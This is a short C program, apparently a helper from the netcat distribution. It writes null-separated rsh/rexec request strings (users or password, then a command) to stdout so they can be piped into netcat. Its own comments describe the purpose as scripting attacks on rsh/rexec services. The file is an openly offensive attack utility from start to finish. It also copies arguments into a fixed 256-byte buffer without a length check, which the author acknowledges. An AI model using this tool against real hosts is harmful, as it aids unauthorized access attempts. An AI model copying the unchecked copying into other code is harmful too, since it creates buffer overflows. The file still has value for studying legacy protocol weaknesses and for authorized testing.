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/* generate ^@string1^@string2^@cmd^@ input to netcat, for scripting up
rsh/rexec attacks. Needs to be a prog because shells strip out nulls.
args:
locuser remuser [cmd]
remuser passwd [cmd]
cmd defaults to "pwd".
... whatever. _H*/
#include <stdio.h>
/* change if you like; "id" is a good one for figuring out if you won too */
static char cmd[] = "pwd";
static char buf [256];
main(argc, argv)
int argc;
char * argv[];
{
register int x;
register int y;
char * p;
char * q;
p = buf;
memset (buf, 0, 256);
p++; /* first null */
y = 1;
if (! argv[1])
goto wrong;
x = strlen (argv[1]);
memcpy (p, argv[1], x); /* first arg plus another null */
x++;
p += x;
y += x;
if (! argv[2])
goto wrong;
x = strlen (argv[2]);
memcpy (p, argv[2], x); /* second arg plus null */
x++;
p += x;
y += x;
q = cmd;
if (argv[3])
q = argv[3];
x = strlen (q); /* not checked -- bfd */
memcpy (p, q, x); /* the command, plus final null */
x++;
p += x;
y += x;
memcpy (p, "\n", 1); /* and a newline, so it goes */
y++;
write (1, buf, y); /* zot! */
exit (0);
wrong:
fprintf (stderr, "wrong! needs 2 or more args.\n");
exit (1);
}
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